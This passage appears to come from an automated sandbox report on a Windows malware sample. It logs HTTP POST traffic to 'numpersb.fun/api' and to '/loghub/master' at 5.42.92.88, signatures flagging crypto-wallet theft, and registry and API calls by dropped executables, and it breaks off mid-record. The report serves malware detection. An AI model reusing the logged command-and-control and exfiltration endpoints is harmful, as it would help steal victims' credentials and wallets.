Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "numpersb" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "numpersb" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: numpersb.funContent-Length: 47Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "numpersb" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 527Host: numpersb.fun" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=6JQW7HzqrhdUC9NGxukMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BtX" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BBgQQU7NfjgtJxXWRM3y5nP" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BF8Rhvv" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BYXsIiGX0TkICEATi7HzdaAMTTamxkE" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEATi7HzdaAMTTamxkE%2Fh8DM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"2c:T508,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: PCAP contains base64 strings Matched sigs: Contains ability to decode base64 data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES Encryption2d:T166d,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002748) "iu7rW97.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000400) "WW5pa33.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003592) "ob8Cl01.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000484) "BG0Vi31.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003456) "1AG03bS7.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003244) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001000) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000053000000000074015300000000000600000000000000500153001a00000018fe5800000000001a000000180001011400000023252f6bbcf72b0095e136771e427700000000000200000218055800c10000c118fe580001000000000000008000000010fe58003a34000e18d658000100000000000000020000000c00000010145800101458000b1458000000000064f72b000000530018fe5801a8f62b0070f72b00c8fc2b0095e136773e427700feffffff435c3a7750593a7794000000a00000000a14580008145800940000004cf82b00fdfec775e80300006c020000f4f72b00 (UID: 00000000-00001000) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001000)2e:T81f,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "iu7rW97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "iu7rW97.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WW5pa33.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WW5pa33.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ob8Cl01.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ob8Cl01.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "BG0Vi31.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "BG0Vi31.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1AG03bS7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1AG03bS7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Pn4733.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3vp37IO.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3vp37IO.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2f:T416,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "6kb5JC6.exe.559602349") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp")30:Te78,"2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; 